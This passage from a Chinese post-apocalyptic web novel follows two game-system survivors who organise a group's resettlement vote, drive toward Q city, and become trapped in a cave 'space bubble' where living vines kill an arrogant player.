张镇尚不适应自己在永乐中磨练出来的拍马屁功夫暂时都毫无用武之地了这一现实，前方江朗也终于找回了自己的话头。 “咳，大家，是这样的，C市并不是一个适合长期生存的地方，这边离海岸线太近了，海洋里的污染物又杀不光——我们也没有进行过这样的尝试，总之，我和陆燃给大家挑选了两个会比较适合定居的地点。” 他抖了抖面前的地图，贴到了背后的墙上，由于磁铁已经不管用了，他不得不靠手砸了两个图钉进墙里来固定它。 “嗯，第一个地点是这里，优势是比较近而且四面环山，可以有效阻挡海边的污染物过来，至少能阻止那些不会飞的吧。” “第二个地点是这里，相较于前者，要现代化很多，有一定概率在那能找到类似这家酒店的……栖息地。” “但是，这边的污染物密度应该会比前者高很多，这既是劣势也是优势，更多的污染物会需要你们花更多时间去清理，去把这个地方变得适宜居住，但同样的，更多的污染物也就意味着更多的晶体，异能者会更容易升级，你们的自保能力能够得到快速提升。” “因为接下来会进行集体迁移，所以该去哪里还是由大家自己来决定，包括要不要跟着离开，等等，这些都不是强制的。” “那么首先决定参与这场集体迁移的人举手。” 台下的座位上的基本齐刷刷地举起了手，只有个别两个人似乎不想离开C市，他们肯定有他们的原因，没有必要当众问。 “好的，愿意参与迁徙的人才有下个选择的投票权，想要去第一个地点的人举右手，想要去第二个地点的人举左手，无所谓或者都不想选的就不举手。” “如果你们对这两个地点有什么疑问或者有什么了解，或者有什么觉得更合适的地方，也都可以提出来。” 江朗话音刚落，就有人一边举手一边提问了：“山上应该会很有很多蚊子吧，蚊子还不是污染物的时候就很难防了，变成污染物之后谁知道它们进化成什么样了，我们真的要去四面都是山的地方吗？总感觉生活质量和生命危险都很堪忧的样子。” 江朗：“很好的问题，很好的问题！” 他先鼓励了一下提问的人，然后开始解答：“蚊子确实是个大问题，但是我们的队伍里有林诗琪这个织灵者存在，对蚊虫这种小型的难以察觉的生物是有一定克制能力的。” 有对游戏比较熟悉的人敏锐地注意到江朗将林诗琪而不是陆燃作为了团队中织灵者的代表人物，立刻举手：“陆哥江哥你们不和我们一起走吗？” 江朗认出来这人是当时游乐场的一员，也难怪了，林诗琪带着他和柳寒救下来的人加入酒店也不过几天，更没有战斗情谊在，相较而言更信任他和陆燃也很正常。 “是的，我和陆燃要去Q市，路有些太远了，中途发生意外的概率相对而言就更高，而且到了Q市之后我们也不一定会停留多久，总而言之我和陆燃的计划更偏向于四处流浪，我觉得你们应该会更喜欢也更适合定居生活。” 大部分人都点了点头，而且这里和陆燃与江朗有直接关系的人毕竟是少数，并没有那么深切地一定要和陆燃江朗共进退的愿望，比起陆燃和江朗，他们更关心刘雅和林霖，还有林诗琪与柳寒跟不跟他们一块走，在得到了江朗和这四人肯定的答复之后，大部分人都松了口气。 松了口气之后，就是激烈的争论，其实江朗真的觉得这两个地点都挺好——反正都是陆燃精挑细选出来的，但毕竟他们才是之后要真正去定居的人，所以就由他们多花点时间争吵吧。 他偷偷地从台上溜了下来，走到了陆燃身边。 陆燃正在对刘雅说话： “那个小孩……” 他指了指角落里的陈辰星。 刘雅越过为“蚊子”和一些其他问题争论得起劲的人群，看向了陆燃所指的方向，那是一个看上去安静到甚至有几分瑟缩的孩子。 他静悄悄地站在角落里，任由窗帘的阴影刚好将他整个身体覆盖，一双眼睛倒是很明亮，他似乎是在观察会场里的所有人，安静地，只是观察着。 除了特别乖巧以外，刘雅倒是看不出这个孩子有什么特别之处。 她只是点了点头，示意陆燃自己看见了。 陆燃：“我希望你能把这个孩子带在身边，嗯，类似于成为他的监护人吧，言传身教……之类的。” 陆燃其实完全不知道监护人要做什么，他刚刚说的只是套话而已，真正的目的在于： “尽量不要让他和柳寒，还有柳寒身边那个男人接触。” 他点了下张镇，让刘雅记住这个人这张脸。 江朗突然从陆燃身后冒了出来：“对的对的，可以拜托你让他们保持距离吗？而且尽量不要做得太刻意，不要让这个孩子觉得奇怪，可以吗？” 刘雅虽然不太懂为什么，但是这是陆燃他们对她提出的第一个大概率也是最后一个要求，那么她当然会尽力完成。 “没问题。” 陆燃身后的江朗松了口气。 陆燃点点头：“那就拜托你了，然后是柳寒这个人，他可能会有点奇怪，你不用太尊敬或者太照顾他的想法，你把他当一件工具使用就行。” 刘雅：“？” 这听起来不是很友好，她对柳寒这孩子的印象还挺好的，但是她记下了陆燃这个评价，打算之后重点观察一下这个小孩。 “别的没什么需要特别注意的了，多从C市带点物资走吧，游戏玩家的背包一格可以放同样的99样物品，所以你们带物资的时候尽量把东西都装大箱子里，这样放进游戏背包里就是一个箱子x1。” “哦哦哦好。”刘雅光速记住了这个非常实用的建议。 “然后，这个是通信工具，游戏里的，如果有什么实在解决不了的事情，可以用来通知我和江朗。” 刘雅接过了陆燃递过来的千纸鹤样式的小玩意儿，珍而重之地将它收了起来：“谢谢两位。” “没什么好谢的。” 他们将目光投向会场中吵得不可开交的两伙人，不过现在争吵声已经慢慢轻下来了。 “看来他们快得出结果了，我们去问问吧。” 众人激烈地争论过后，勉强算是得到了一个共识，他们决定去第二个地点，大部分还是觉得自己适应不了山野生活，而且柳寒很明确地告诉了他们，有他的异能在，他们面对大部分污染物都只会像游戏里刷级一样轻松，趁这个机会好好锻炼一下自己的异能是好事。 “那么，大家准备出发吧。” 江朗和陆燃相视一笑，他们也该出发了。 第55章 第 55 章 Q市我们来了，Q市我们…… 末日来临后第39天, 把所有东西装进了背包里和新车的后备箱，江朗和陆燃开着车驶离了C市。 Q市我们来了。 如果他们回头看，什么也看不见, 但他们知道另一条路上有另外一串浩浩荡荡的车队正在朝着另一个方向前进。 那注定是一段长而危险的旅途，不过没什么好担心的, 因为他们在柳寒手上——江朗依旧不适应这个句子, 但至少他已经可以自然地把这句话讲出来了。 陆燃不爱开车，依旧坐副驾。 江朗：“真不错，升级后的身体可以开20小时车都不累，给你当司机更够格了。” 陆燃笑了笑。 其实他也不介意给江朗换班, 但是江朗说反正他们又不急, 没这个换班必要, 就这样开挺好的, 陆燃耸耸肩，默认了。 “又没油了, 我下去换一下。” 江朗停车, 跳下车，然后从背包里掏出汽油来开始给车换油。 他们已经开了好几天了, 其实如果可以忘记他们身处末世的话, 这几天还是挺惬意的。 开着车驰骋在空无一人也空无一物的公路上。 偶尔能看见几个路过的污染物，在顺手解决之前还能当动物园里的动物观赏一下, 两个人品头论足一番这个污染物长得如何, 变异方向应该是什么, 如果一直进化下去的话又会变成什么样, 一番讨论之后顺手把它嘎了。 运气比较好的时候，能看见两只污染物打架，甚至几只污染物混战。 比如现在。 江朗把车往公路边一停, 把陆燃那边的车窗降下来，两个人捧着薯条可乐开始看不远处两只污染物的激烈战斗。 “啧啧啧啧啧！太凶残了！” 江朗一边往嘴里塞薯条，一边锐评道：“哎呦我去，有必要吗？翅根都给人扯断了，这番茄酱我是沾不下去了……” 视野内的血腥战斗让江朗觉得手里的番茄酱都不香了。 “你不沾给我。” 陆燃轻巧地伸手过来拿走了江朗手里还剩了大半的番茄酱。 毋庸置疑，番茄酱这玩意儿在末世里属于用一袋少一袋，虽然他们储存了大量的酱料，但还是决定省着点用，一般就是两人吃一份薯条的时候分一袋番茄酱。 “啧啧啧啧……诶！这简直就是屠杀！” “嗯。” 不远处那两只污染物一只末世前应该是鸟，另外一只压根看不出原型，只看得出来是走兽。 明显是地面上的这只走兽占了上风，给鸟的翅膀都扯断了，空中更是鸟毛乱飞，场面一度非常混乱而血腥。 眼看着那只鸟觉得大事不妙就要逃离，陆燃放下手中的番茄酱，随手甩了个精神链接上去，进行了迟来的劝架。 薯条也刚好吃完了，他们俩把这两只污染物的晶体一起取走，继续向前开去。 其实这么走走停停，还挺有趣的，几乎像是他们没来得及筹划的毕业旅行。 江朗觉得，如果前世的时候，也是跟陆燃一起进末日，那么前面那段时间就不会那么难熬了……. “再开三天应该就到了。” 江朗回忆了一下刚刚路过的那个路标，非常笃定地说了一句。 “好。” 但陆燃话音刚落，他们突然双眼一暗，而当他们适应了新的亮度之后，面前的公路却大变了个模样。 嗯……不光是公路，整个世界都变了个模样。 他们上一秒还在平坦的开阔的现代高速公路上，眨眼间就开在了一片黄土上，而且上下左右四边，都像是巨大的原始洞穴。 两个人齐齐回头，来时的公路也已经不见了。 陆燃：“……” 江朗：“……” “呃……” 江朗尴尬地支吾了一声。 陆燃：“这就是你说的空间泡？” 江朗：“嗯……怎么会这么倒霉，这样也能撞进来……一般不刻意去找的话，一个人两年内能撞上一次空间泡就已经够倒霉了。” “我还以为我上一次就够倒霉了呢，从W市出来还不到就撞上了空间泡，怎么这次更衰……” 陆燃皱了皱眉，江朗猛地停下车。 江朗小心翼翼地看向陆燃，就差对手指了：“我也不知道怎么就车开着开着就开进来了……” 他还以为陆燃皱眉是不高兴。 陆燃摇摇头：“不是，只是这里让我很不舒服。” 江朗：“哦……！空间泡里的污染程度确实会更高一点，末世后期有人做出了可以检测污染程度的度量器，测出来空间泡里的污染度是外面的大概十倍还不止。” “不过真的有那么难受吗？为什么我没什么感觉……” 江朗也忍不住皱起了眉，空间泡里的污染程度更严重一些是众所周知的事情，但是这个污染度其实意味的是里面的污染物更强大，这才是大家不爱撞进空间泡的理由，单纯只是进入的话，没听说过会有什么特殊反应。 但看陆燃的反应，他应该是真的很难受。 认识陆燃这么多年，江朗早就已经习惯了他喜怒不形于色的样子，陆燃的情绪从小就很淡，因此他的表情也很淡，他作为陆燃最好的……呃，可能也是唯一的朋友，已经习惯了将他的表情放大十倍来研究。 而这些放大过的表情和情绪里，最常见的其实是也只是不耐烦，陆燃很少有别的情绪。 但是他现在很明显地皱着眉，而且始终没有松开。 这让江朗有些担心了。 “你没事吧……” 陆燃摇摇头。 他现在的感觉很难形容。 不能说有多么难受，因为他身体上其实没什么反应，所以不是物理意义上的难受。 但是他控制不住地觉得愤怒，恶心，还有一些不知道什么情绪，但主要成分就是愤怒与恶心。 他很少感到愤怒，更少感到恶心，所以当这两种情绪汹涌地朝他涌来的时候，他有种强烈的失控感。 这种失控感让他觉得烦躁。 他看向周围，其实没什么特别的。 乐观一点讲的话，有点像什么原生态的景点。 高挑的洞穴，凹凸不平的岩壁，岩壁上攀爬着似乎已经枯萎的藤蔓，仔细看好像还能在藤蔓露出来的裸.露岩壁上看见一些划痕——就是不知道该视这些划痕为好迹象还是坏迹象。 洞穴里的路有些弯弯曲曲的，没法看到底，所以看不出江朗当时所说的空间边缘的“明显贴图感”，因此，看上去就是一个非常正常的地方。 陆燃闭上眼，深呼吸了一口气，试图将那无名火降下来。 不管这里的污染物是什么，都不会好对付，他不能以这样的状态去面对。 “没事了。” 陆燃挥挥手，松开了他紧皱的眉。 江朗不是很相信，依旧担忧地看着陆燃。 陆燃叹了口气：“不太舒服，但是不影响行动，好像只影响我的心情，应该尽快出去就好了。” 江朗：“难道是精神攻击系污染物？但是为什么只盯上你……” 陆燃：“可能因为你脑子比较空。” 江朗：“哈哈哈哈哈！！” 看见陆燃还有心情开玩笑，江朗总算稍微松了口气，不过也看出来陆燃确实有被影响心情了。 “那我们赶紧找找，空间泡的话，只要杀死最强的那个污染物，基本就会断裂放我们出去了。” “好。” 陆燃推开车门，右脚落地踩了踩地面，好的，虽然黄土的触感有点软趴趴的，但是总的来说还是踩得住的地面，他知道自己有点多虑了，如果这地面连他的重量都承受不住，他们的车早就陷进去了。 只是他现在确实有点难以控制自己的情绪，一切在他眼里都显得可憎而危险。 他再次深呼吸一口气，释放了精神链接。 他的技能其实对于空间泡的机制很有优势。 精神链接是范围技能，不需要选定目标，只要在一定范围内释放，就可以探明所有有意识的生物。 而据江朗所说，只要找到空间泡内最强大的那只污染物并杀死，这个空间泡就会自然坍缩，他们也就能出去了。 而要找到最强的那个污染物，对他来说也是很简单的事，因为他的意识空间内，被精神链接的生物其实拥有不同的明暗度。 人类的意识是最明亮的，然后低级污染物的意识最暗淡，之后随着污染物的等级提升，它们的意识也会变得越来越明亮，但不会接近人类。 他原地先释放了一个精神链接探探情况。 嗯……这地方有点死寂。 虽然肉眼看去就已经知道这地方没什么活物了，但是陆燃真正用技能验证了这一点后，还是稍微有些惊讶。 在C市释放精神链接的时候，陆燃已经习惯了意识里的嘈杂，因为多小的生物都会变成污染物，空气中飞着的小昆虫，地上长出的杂草，凡是有生命的东西，都会在他的意识里占个位置。 他早就已经习惯了一放精神链接，意识里就一堆乱七八糟光点的样子了。 但是他现在只能看见两个光点，他身上的银色丝线蔓延出去，链接到了左右两面岩壁上的藤蔓。 代表着这两段藤蔓的光点虽然还算明亮，在空间泡外估计算较为难缠的污染物，但是远不到江朗所说的就算是他们俩也要小心应对的水平。 而且最重要的是，这两个明亮程度基本完全相同。 而光是用肉眼看，远处的岩壁上就还挂着非常类似的一段藤蔓呢。 总不能大家都是最强污染物。 “往前看看？” 江朗点头表示赞同。 他们没开车，而是决定步行，一方面是空间泡相对外界比较危险，他们需要一定的灵活度。 另一方面则是因为，空间泡消失后，他们会直接出现在对应空间在现实里的位置，他们在进来空间泡之前，刚好在高速上，万一开到什么半空中的位置，出去后这辆车就没法要了，他们还得在高速上走半天去找另一辆车，或者期待有没有好心人路过捎他们一程。 这也是为什么刚刚江朗刚进空间泡就直接停车了的原因，他有过很多次经验了…… 两个人安静地往前走着，下了车之后，他们才感觉这空间泡内部的空间真的很大。 抬头看去，这洞穴起码有好几层楼高，原本看着到转弯口的短短一段路，他们俩也走了很久。 转过弯后……是又一片同样的景象，还是同样的岩壁，同样的藤蔓，同样的黄土铺作的地面。 陆燃释放了精神链接，老样子，除了象征了岩壁上藤蔓的光点，什么都没有。 接下来的路就有些绕了，因为多出了几个岔路口，江朗在口袋里翻了一下翻出了一包还没吃完的M&M豆，正好拿来做标记，于是他们放心地随意选择了其中一条岔路走了进去。 岔路进去是更多的岔路，很快他们这半包M&M豆就用完了，甚至还不知怎么的绕回了江朗放置第一颗巧克力豆的地方。 但至少摸清了这个奇怪洞穴的一部分结构。 他们这次选了另一条岔路，而这一次，他们走着走着，就看见了江朗之前提到过的“贴图感”。 “嗯……” 陆燃看着面前的这片空间陷入了沉思，虽然有江朗的话提前做心理准备，但是他还是没想到会这么突兀这么明显。 他还以为会是那种远处虽然有景色存在但仔细看很不真实的“贴图感”。 但事实是，他走到这条岔路的一半的时候，就撞上了空气墙，这条岔路从中间开始被分为了两半，他们站着的这一边纵深分明，另一头……感觉像是画上去的一样，也走不过去，像是撞上了一堵软软的有弹性但足够结实的墙。 “好明显的边界感。” “是的，真的很奇怪对吧。” “是有点。” 江朗看着空间泡的边缘有些感慨，不管看多少遍，他都会觉得这很神奇。 当然这并不是最奇怪的部分，最奇怪的还是陆燃全程走来，手上的精神链接没有停过，而除了岩壁上爬着的那些藤蔓，他没有探测到任何其他污染物。 而且他在岔路里走来走去的时候脑海内已经大致建立了一份立体地图，这些岔路虽然看着很麻烦很绕人，但在他脑海中已经清晰地排列连接了起来。 所以他基本确定待会儿再走完最后一条岔路，他们就正式把这个空间泡都逛了一遍了。 那么现在有两种可能。 一，他们要寻找的那只最强大的污染物就在这最后一条他们还没去过的岔路里。 二，它在和他们玩躲猫猫，玩得还很好。 第一种可能性太微渺，但第二种又……有点奇怪，不论是根据江朗提供的情报还是根据他在C市的亲身经验，污染物，无论转化前多么爱好和平，转化为污染物后，攻击性都大增，只要它们能看得到闻得到活物，就会不顾一切地进行攻击。 但是说起这个，就还有另一个奇怪的地方了，这些岩壁上的藤蔓……其实在他释放精神链接以前，他和江朗还以为这些藤蔓都是死物，是留在岩壁上等待风干……已经被风干的植物尸体。 但是它们在陆燃的意识内，显示出了清晰而明亮的光点，也就是它们不光活着，作为污染物级别还不算太低。 所以它们为什么不攻击？ 事实上就是因为这诡异的一点，陆燃放完精神链接后江朗才没有顺手扔个技能上去把这些藤蔓顺手清除掉。 因为他下意识觉得奇怪，不想擅自攻击，至少也得先观察一下。 在陆燃的带领下走入最后一条岔路后，看见和其他岔路没有任何区别的岩壁与藤蔓后，江朗终于忍不住说：“这在我撞进去的所有空间泡里都算奇怪的，我可是一年保底撞上三次空间泡的超级倒霉蛋，但是我从来没见过这么诡异的情况。” 他们两个从这条岔路退了出来，往回走，打算回起点讨论一下接下来该怎么做。 他们刚走出几步，就看见一辆亮橙色的跑车“轰隆隆”地开了进来。 “轰隆隆”地直擦着陆燃和江朗而过，然后发出一声尖锐的咆哮后，擦地停了下来。 “啊？什么情况？穿越啦？” 车门打开，一个穿搭非常混搭的看着很油里油气的，像极了二十多岁小混混的男人走了下来。 他有一头染得不是很均匀的金发，配合黑得不是很均匀的肤色，显得更加非主流，身上大面积地覆盖着一套银色的软甲——江朗和陆燃一眼就认出了这是《神域》里血肉战士的50级装备。 不过如果他只穿了这套银色软甲的话，应该看上去不会那么诡异，毕竟《神域》的美术设计组审美都挺好的，他们设计的装备平移到现实中也是能让人平添三分帅气的衣装。 问题就在于这小黄毛不光穿了《神域》的这套装备，他在这银色软甲外，披了一件黑色的铆钉夹克，然后还挂了一条看不出到底是什么的项链。 再加上他满耳朵的耳钉。 很难形容陆燃和江朗看见他后的第一感受。 陆燃觉得如果《神域》的美术设计组成功活了下来，可能会忍不住掐死这家伙吧。 那黄毛下车之后才发现这里已经有别人了，他摘了奇形怪状的墨镜上下看了陆燃和江朗两眼，面露不屑。 原因大概是，陆燃和江朗在离开C市前，终于想起来要不要在装备外套一层正常的衣服。 C市前期太惨烈后期太和平所以导致他们完全忘记了一点，那就是末世里很多人都会打游戏玩家的装备的主意，不光是同为游戏玩家的那些人，更多的是本身没有游戏系统的人，能多个装备，对他们来说就是实力上的巨大提升。 上一世江朗就经常有听说哪个哪个玩家惨遭一大堆普通人或者低级异能者围攻，然后死了之后一身装备被人分了的事。 他和陆燃的装备都太好了。 因此，为了可能会为了爆装备来攻击他们的人的性命考虑，他们还是穿得低调一点为好。 在C市的最后一天，两人分别在游戏套装外穿上了两套普通衣服，陆燃轻松一点，因为织灵者的装备整体来说非常紧身，穿什么上去都不奇怪，顶多看上去像是外套里有件白色内衬。 江朗就很麻烦了……他那套长袍……找了半天才找到一件长度足够的风衣勉强盖过。 长袍的帽子就当是他里面还穿了件黑色卫衣吧。 总而言之，他们两个现在的装束虽然看上去也不像什么很正常的人（主要是江朗不像），但是确实看不太出太多玩家的痕迹了。 因此，那黄毛只看了他们一眼，就觉得他们不配和自己说话——呵，两个普通人罢了。 第56章 第 56 章 好言难劝该死鬼 紧跟着黄毛从这辆造型夸张的橙色跑车上下来的, 是两个年轻女孩，年纪看起来二十不到，穿着风格和这个黄毛很像, 简称杀马特，有点像一起从葬爱家族出来的。 “天华哥, 什么情况啊……吓死了。” 一个女孩捏着娇滴滴的嗓子攀上了“天华哥”的手臂, 顺便朝江朗和陆燃两个人投来了一个鄙视的目光，举手投足间给足了“天华哥”情绪价值，让人一时间想直呼一句“这就是专业”。 而“天华哥”明显很好哄，他瞬间就膨胀了起来：“呵呵, 不管是什么情况, 有我在就是没情况！” 虽然这三个人演了一场有点抽象有点像弱智短剧的戏码, 但是江朗依旧秉持着能救一个是一个的心情, 对他们解释： “这里是空间泡，这里的污染物比外面的要难缠很多, 你们小心一点。” 他的好心提醒让“天华哥”投来了更加鄙视的一眼。 “呵呵, 难缠？对你们来说吧，我可不是你们这种废物。” 江朗：“……” “污染物在哪呢？” “天华哥”四处张望了一下, 压根什么污染物都没看见嘛。 陆燃好心提示, 指了指岩壁上的藤蔓：“这些就是污染物。” “天华哥”看像陆燃所指的方向，一开始还不敢相信陆燃口中的污染物真的指的是这些看上去已经枯萎到下一秒就可以化作灰了的藤蔓。 他眯起眼睛仔细瞅了瞅, 试图看见被藤蔓盖住的污染物, 然后真的什么都没看见。 “到底在哪？” 陆燃：“就是这些藤蔓。” “天华哥”愣了一下, 然后忍不住大笑出了声, 他捧着肚子哈哈大笑，陆燃和江朗站在一边看他前仰后合，脸上齐齐露出了一种淡淡的迷惑——原来现实里真的有人是这么笑的吗…… “就这破树, 能难缠到哪里去？你们这种废物闪远点，看你天华哥发挥！” “哇！天华哥好厉害！” 两个黄粉掺半毛的妹子激烈地给他捧场，甚至当场鼓起了掌。 江朗：“……” 陆燃忍不住笑了，靠近江朗耳朵附近：“好言难劝该死鬼，你就让他去吧，他看装备也70级了，打小怪应该总死不了，我们正好看看这里有什么古怪，这些藤蔓感觉不对劲，攻击性太低了。” 江朗叹了口气：“嗯。” 好言难劝该死鬼，这句话太对了，前后两世他不知道遇见过多少跟这个“天华哥”类似的人，总以为自己有游戏系统或是异能就是末世文主角了，总是搞出一些过于傻大胆的操作，随他们去吧，他也已经习惯了。 陆燃说得……也对，对方既然愿意攻击，那就正好看看这些看着像是要死掉了的藤蔓有什么古怪吧。 他确实没见过这么安静的污染物，换别的污染物，就他们来来回回查探的时间里，至少也该已经攻击他们八百遍了。 这个空间泡真的有点怪，有人上赶着给他们当小白鼠，倒也没必要拦着。 这样想着，他和陆燃齐齐退后了一步，打算看“天华哥”表演。 “天华哥”从夹克口袋里掏出一支银色的小匕首——这是血肉战士的60级武器，看来他玩游戏玩得不是很上心，没有及时更新武器。 然后他撩了一下头发，一边转着银色匕首一边走朝前走了过去。 银色的匕首在他手中翻飞，像是金属蝴蝶。 别说，如果忽视他杀马特的造型和过于油腻的表情，他这小小耍帅，还是很像那么回事的。 他一把将匕首脱手掷出，像是飞镖一样扎到了离他们最近的这面岩壁上的藤蔓上。 江朗的游戏素养让他很想出声提醒对方血肉战士是一个近战职业……又不像个别远程一样会自动补弹夹，你这匕首当飞镖掷出去了之后不还得自己屁颠屁颠跑去收回来吗……这是何苦…… 陆燃则仔细地观察着他的匕首刀尖没入藤蔓内部的样子，确保自己没有漏掉任何细节。 但是实在没什么细节可以遗漏。 那把匕首就是普普通通地扎入了藤蔓的外皮。 非要说有什么奇怪的话，那就是声音太脆了，不像是扎进什么实体的声音，听起来没有阻力感，更像是只插进了一层表皮。 “天华哥”走上前扭转了一下匕首的方向，三百六十度转了一遍，然后把匕首抽了出来。 他将匕首抽出后，陆燃终于看清了，不是他的错觉，这藤蔓真的只有一层枯皮，被扎破之后，里面什么都没有，纯粹是真空的。 “什么玩意儿？” “天华哥”显然也有点迷惑。 而这截被他称之为“什么玩意儿”的藤蔓，很快就“坍落”了，棕色的表皮瞬间化成了粉末，细细碎碎地从半空中落了下来。 “什么玩意儿？这么菜？” “天华哥”震惊完不忘鄙视地看向江朗和陆燃：“这玩意儿就是你们说的难缠？” 陆燃眉头紧锁，事情更奇怪了，虽然这些藤蔓毫无攻击性，而且看着也确实很像是已经死了很久了，但它们在他释放精神链接时的意识视角看来，确实是一个个还算明亮的意识，怎么会就这么“消散”了？ 还没等他想出个所以然。 他们肉眼范围内的岩壁上的其他藤蔓却突然像都活了过来一般，深棕色的干枯树皮突然显出了些……不能说生命的颜色，只能说从枯萎的颜色变成了腐烂颜色，而它们的“复活”显然目标明确，一瞬间，无数黑漆漆的藤蔓迅猛地向“天华哥”袭来。 陆燃皱了下眉，快速释放了一个精神链接——虽然血肉战士生存能力很高，也有保命技能，但是他觉得这个“天华哥”的反应速度估计不足以让他在这些藤蔓到达之前放出必要的技能。 他确实阻止了这些藤蔓的攻击，就在代表精神链接的银色丝线触碰到那些疯了一样的藤蔓时，那些藤蔓瞬间就凝滞在了半空中，动弹不得。 但是，更多的藤蔓从远处光速而至，越过那些凝滞在半空中的同伴，目标明确地捅入了天华哥的身体内。 将他捅了个对穿。 事实上，“对穿”这个词可能用得有些保守了。 他被无数藤蔓叉起来吊在了空中，如果不是他的脸也已经被好几根藤蔓捅穿，大概还能看出他最后的惊讶表情。 藤蔓太多了，所以“对穿”这个词很不准确，因为他浑身的血肉都已经掉落在了地上，压根没有可以被“对穿”的东西存在了。 两个女孩目瞪口呆地看着“天华哥”的死状。 差点呕出来。 然后所有藤蔓又跟它们来时一样快速退去，甚至颜色也变了回去，它们到了原本那枯萎至极的模样。 像是一切都没有发生。 如果不是陆燃和江朗朝里走了点，让转角处的岩壁在他们视野中露出来后，看见了后面那块岩壁上的藤蔓上残留的血液和碎肉，也许他们真的会以为一切都是错觉。 哦，当然还有留在地上那具破烂的，看不出原貌的尸体。 这下那两个女孩是真的忍不住呕了起来，进入末日以后，她们虽然也见过一些长得恶心的污染物，也见过一些死人，但是这些都远不如一个刚刚还在和自己说话的人，转眼间就成了一瘫尸块的冲击力大。 江朗也目露震惊之色，甚至眼中闪过一丝后悔，他还以为对方至少是个70级玩家，对付一个普通污染物应该不会太有难度，就算真有问题，也有他和陆燃压阵，但他没想到出现的会是这样的情况，他甚至什么都来不及做，一个活生生的人就在他面前死去了。 他眉眼间闪过一丝后悔与痛苦，但那丝痛苦与后悔又很快消失了。 在末世，痛苦的时间是一种奢侈品。 但是很快，更大的震惊与后悔后知后觉地袭向了他。 他紧张地看向陆燃，光速给他刷了一张减伤卷轴。 “草，你刚刚放了精神链接，它们不会也要攻击你吧？” “别慌……别慌……我们最多可以叠80的减伤……” 他从背包里掏出了一碗热气腾腾的汤，试图陆燃当场喝下去，除此以外还有一瓶色泽诡异的药水。 陆燃一时有些滴汗，幸好这些藤蔓没要攻击他，不然一次性喝这么多汤汤水水的，哪怕知道是为了保命，估计也是有点难受。 他知道江朗这是关心则乱了，刚刚那些攻击“天华哥”的藤蔓是后于他的精神链接起作用的时间出现的，如果它们真要攻击他的话，无非就是顺手的事，为什么还要退回去。 他朝江朗摆了摆手：“估计是按受没受到伤害判断的，可能是一种群体反击机制，精神链接作为技能没有附加任何伤害，估计没法触发反击。” 江朗瞬间松了口气。 陆燃继续在心里补充，这也是他刚刚没有进行任何补充控制的理由。 陆燃接着推测：“可能是联动的污染物，也许这些藤蔓都是一个整体，加起来才算一个污染物，这样就能解释为什么我们刚刚看不到除了这些藤蔓以外的污染物了。” “或许从一开始就没有什么隐藏起来的污染物，它们合起来确实称得上强大。” 也许不止是强大，这个“天华哥”虽然看上去很弱智，但是血肉战士本身就是《神域》里生存能力最高的职业，有自奶有保命技能，更有初始值极高的生命与防御，就算他游戏玩得不认真，在空间泡外的污染物群体里他也绝对能横着走了，要不然他也不会一副眼高于世界最强的模样了。 但是即使是这样，他也被毙命于瞬间，甚至伤害大大溢出，后来的藤蔓基本只是在鞭尸而已。 也不知道是他和江朗谁的霉运在发挥作用，刚一出C市就撞上了这么难搞的空间泡。 江朗在放下对陆燃的被藤蔓攻击的担忧后头脑也重新恢复了理智状态，认真思考了起来： “我们两个的攻击范围都有限，不可能一次性夷平这整个空间泡，这里也毕竟不是游戏，看不出这些攻击加起来究竟多少数值，如果能限定只有一部分藤蔓攻击，我倒还能拍个防御卷轴看看它打在我身上有多少伤害反推个大致的攻击力出来，但是看起来它们是只会集体行动了……” 江朗抓了抓头发：“实在不行的话，还是我来试试吧，再生这个异能还是很强大的，我待会儿临时抱佛脚再升级一下，我上……之前遇到的各种污染物都没能做到同时击穿我的血量条和再生异能，没道理这个玩意儿可以吧……” 陆燃：“……别急着冒险，其实精神链接是可以重复在不同对象上使用，而且效果不会被第二次用的技能覆盖掉的，唯一的问题就是CD太长，但是我们之前不是收了一堆技能CD消除卷轴吗？” 江朗：“差点忘了！对哦！” 他立刻在游戏背包里翻了起来，其实不能说“一堆”，技能CD消除卷轴在游戏里属于罕见中的罕见，所以哪怕他们收卷轴的时候完全没手软没砍价，溢价多高的都直接买了，但是到手两个人加起来也只有六十来份而已。 完全不能说是“一堆”。 陆燃脑测了一下，这个洞穴弯弯绕绕的，这时候反倒是好事，因为他的技能是按范围算的，它越弯绕，他的精神链接就能同时覆盖越多的藤蔓。 不过精神链接的控制总时长也就12秒，所以CD消除卷轴的数量并不完全是限制他能控制多少藤蔓的唯一因素。 还有他12秒能跑多远距离。 不过这个倒是好解决，他们有的是传送卷轴，到时候定好位置一个个传送过去然后尽量快速地放技能就好。 江朗：“在你的感知里，每一……呃？条？团？藤蔓……大概是什么水平？” 陆燃思考了一下：“光点亮度和之前动植物园那棵树差不多，但是没见过那棵树出手，所以我也不清楚。” 江朗回忆了一下当天那个植物馆的生物密度，大致有数了。 在末世待久了就这点好处，从污染物杀过多少别的污染物上就能大致推算出它的强度。 “如果你用精神链接控制完，剩下的藤蔓不超过十团，那我大概率是扛得住的。” 陆燃应了声“好”，开始继续在脑子里计算——江朗的攻击是需要读条时间的，这也就意味着，哪怕他和江朗的传送以及除了读条以外的技能起手都没有任何损耗，他们也被限制在了江朗的读条速度上，所以他应该按江朗清完这整座洞穴总共所需的读条时间去计算别的东西——别的东西指CD消除卷轴怎么分配才能最节省。 他们两个人在这边讨论的时候，那两个染着黄粉相间的头毛的女孩结束了控制不住的呕吐，她们怯怯地朝江朗和陆燃两个人走来。 “两位大哥……我们很害怕，你们能不能……能不能保护我们？” 江朗朝她们露出了一个耐心加安抚的微笑：“这里的污染物攻击性很低，你们两个只要离我们够远，应该就不会被攻击到，不要碰到这些古怪的藤蔓就行。” “这……这样吗？” 陆燃看得出来，这并不是这两个女孩想要的答案，她们指的并不是在这个空间泡里的安全，而是包括离开后的安全。 陆燃认为，她们两个人作为没有异能也没有游戏系统的普通人，在末日来临之际，快速依附上一个异能者确实是最好的选择，这个末世对普通人的恶意太大了。 不过她们现在其实已经有了更好的选择。 于是他开口说道：“他的装备，别人也可以穿。” 其中一个女孩：“什么？” 她看上去有些茫然，陆燃反思了一下，他的说话方式，有很难懂吗？为什么很多人在他讲完话之后都是这个反应。 不过，另一个女孩眼中却闪烁出了明亮的光芒，甚至眼中还闪过了一丝后悔——大概是要是早知道他的装备别人也可以用，又何必等这么久的后悔吧。 她立刻头也不回地跑向了那瘫肉泥。 虽然刚刚还因为“天华哥”的死状而恶心得不行，但是这种恶心在此时此刻完全是可以克服的。 另一个女孩虽然本来还没反应过来发生了什么，但是在看见对方头也不回地跑向了那滩肉泥后，也光速反应了过来。 她眼中闪过一丝后悔——大概是自己怎么笨成这样，现在好了，舔盒都比那家伙慢一步！ 